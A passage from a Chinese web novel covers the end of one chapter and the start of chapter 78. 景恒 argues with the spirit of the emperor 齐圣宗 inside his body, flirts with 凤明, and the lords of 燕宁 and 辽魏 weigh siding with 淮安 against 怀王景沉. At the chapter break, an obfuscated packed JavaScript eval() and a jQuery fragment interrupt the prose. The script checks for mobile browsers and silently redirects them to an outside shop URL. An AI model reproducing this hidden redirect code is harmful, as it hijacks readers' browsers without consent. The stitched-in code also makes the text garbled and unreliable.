爱,因为他早就将‘表达爱’的能力分裂出去了。


    只是妙算如神的齐圣宗,无论如何也猜不到他将因果算反了:本以为‘不说爱’是因,分灵转世是果。


    却原来,分灵转世才是‘不说爱’的原因。


    齐圣宗至死灵魂都不完整。


    真可谓人算不如天算,这因果轮回太过玄妙,实非人力所能揣测窥探。


    可倘若齐圣宗死后不分灵,那就不会有那条充饥的鱼、不会有那只卧雪的猫、不会有那头挡箭的狼。


    凤明还会活着吗?


    景恒情绪变化明显。


    凤明察觉到,警惕地问:“他又说什么了?”


    景恒哀怨地看了凤明一眼:“没什么。”


    凤明:???


    他有些生气这位皇帝陛下又在操控人心,把景恒绕的团团转。


    凤明寒起脸,长眉微微拧起,有些凶地呵斥一声:“陛下!”


    英明神武的齐圣宗消停下来,不说话了。


    景恒与凤明又商议起封地的大小事务,各项杂事处理起来当真是千头万绪,比毛线团还难理。


    兵马、粮草、辎重、属臣、民心哪一样都要考量。


    起事还是得寻个好由头,无论哪个时代都兴这个,不扯面大旗那就是师出无名,名不正则言不顺。


    景恒手到擒来,将原先‘清君侧、除阉党’略加改动为‘清君侧、除奸王’。所谓众志成城、又谓之日众人拾柴火焰高。名头好听,也便吸引更多人加入。


    历史洪流涛涛而过,每个人都是历史的创造者,改写历史非一人可为,拉拢敌人的敌人,团结分散的力量,将各方势力凝聚一处,方能扭转乾坤。


    所有成败,总结起来就四个字:力量对比。


    输与赢,从落子的那一刻就早已注定。你有十个子儿,我有一百个字儿,你那什么跟我玩,我就是把字儿都倒桌子上,你围得过来吗。


    力量过于悬殊,还谈什么棋艺高低、筹谋变化。


    当然也不是说一切筹谋都没用,若遇神机妙算,决胜千里如诸葛孔明,那是把战争和人心都玩明白了,这般的奇オ一千年也就出一个,可谓挂逼,不再力量对比的测算范围之内。


    再有位面之子刘秀之流,那属于强卡出来的 BUG ,仗还没打,先给来场陨石雨助兴,谁对上都没辙。


    “哎?你说刘秀对上诸葛亮,谁能赢?”景恒兴致勃勃,先转述了齐圣宗的答案:“他说是诸葛亮,因为诸葛亮能观星,能避开陨石雨。”


    神神采奕奕的景恒倒映在凤明眼瞳中,凤明弯起漂亮的眸,答非所问:“这般就很好。”


    景恒:“?”


    景恒接着说:“而且也不是说人多就也一定能赢,人多了心也杂,互相算计起来,囿于内耗也不行。”


    孟子有云,天时不如地利,地利不如人和。


    这打仗也好,治国也罢,所以力量与人心缺一不可。积极因素多了,消极因素就少了,队友多了,对手就少了,正是颠扑不破的真理。


    齐圣宗叹了一声。


    景恒:“?”


    【齐圣宗说:真难相信,朕会有这么多话。】


    【景恒:我还难相信,我会有这么多心眼呢。】


    景恒委委屈屈问凤明:“我话很多吗?”


    “我喜欢听。”凤明翻弄着书案上的公文:“别吵架。”


    “我没有吵架,他骂我。”景恒仗着齐圣宗没法子出来解释,胡编乱造:“还欺负我。”


    凤明不信齐圣宗会骂人,也懒得调和,都在一具身体里,又打不起来,吵架他也听不见,关他什么事。


    景恒凑过去拥着凤明:“亲个嘴儿。”


    “不亲。”


    景恒非要亲,鼻子狗似得在凤明颈间蹭来蹭去,凤明现在不喝药了,可身上还有股淡淡的药香,混着龙息香的沉香味儿。


    “我第一见你,就说你身上的药味儿熟悉,”景恒揽着凤明:“原来这药我也曾喝了三年。”


    景恒是没喝过这药的,这当是齐圣宗的记忆,两半灵魂的记忆不知不觉中逐渐融合。


    景恒又说:“你之前不熏龙息香的,是因为这香会让你想起齐圣宗吗?”


    作者有话说:


    齐圣宗:抱歉,一不注意就耍心眼是朕的问题。


    黑心打野齐圣宗、站撸AD凤小明,笨蛋辅助景大郎。


    第78章 万万不可


    龙息香安神静气, 齐圣宗和凤明双双中毒后,两个人都神思烦躁,不得安眠, 宫寝殿到处都燃着龙息香。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14327197|152484||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    龙息香由黑檀、苦麝、龙涎、白木等香料配成,烟气极沉, 不像别的香烟气上行,而落在地上蜿蜒蛇行。凡是燃香之处, 脚下缱绻着烟雾, 如同在瑶池仙境,人人都驾着青云。


    蔚为壮观。


    自齐圣宗死后,凤明就再不让燃龙息香了,这些日子凤明也睡不好,才又燃起龙息。


    齐圣宗回来了, 凤明再不会因闻到这熟悉香味而伤心了。


    景恒心中无限柔软, 他贴着凤明耳廓,轻声说:“只要你开心, 我也愿意做蚯蚓尾巴。”


    凤明:“?”


    什么尾巴?


    *


    诚如齐圣宗分析那般,怀王景沉惯于曲意逢迎, 两不得罪, 见淮安王这边不动声色,称病不出, 宣旨的官员停留小半月后便走了,景沉畏首畏尾, 不敢撕破脸,大动干戈。


    燕宁王、辽魏候二位更是直言不讳:此乃矫诏。


    他二人仗着封地偏远, 干脆拉起了‘勤王’大旗。


    这二位的王侯封地毗邻西北边陲, 凤明执掌虎符可号令的二十万西北军尽数驻扎于此。他们与凤明交好不说, 且二人心中如同明镜:这二十万人马离着淮安虽远,可就在他们封地里。


    淮安驰援不到,拿下燕、辽二地岂非易如反掌?


    谁管景沉这权力来路正否,就像凤明的二十万人到不了淮安一样,景沉的十万禁军就能到得了燕、辽吗?


    这种时候牵一发而动全身,谁都不敢先动兵。


    天下苦战久矣,太平了没几年,何人敢做那个重燃九州战火的人。


    二十万兵马压在头上,燕宁王、辽魏候不得不做出选择:是接旨,承受西北军的哗变;还是抗旨,等怀王景沉发难。


    两害相权取其轻,刀架颈侧,是立时落,还是来日落。谁都知道该如何选。


    燕宁王、辽魏候先后传讯淮安,都表明愿支持淮安王起事清君侧,淮安王事齐高祖名正言顺的嫡子,论身份、论地位都足够正当。


    怀王景沉的血缘不仅远,而且浊。


    景沉之父先怀王谋反、景沉嫡亲祖母出身歌姬。景沉凭何执掌大权。


    他配么?


    淮安王心中又安定又慌张,神思难安,吃不下睡不香,扯来儿子谈心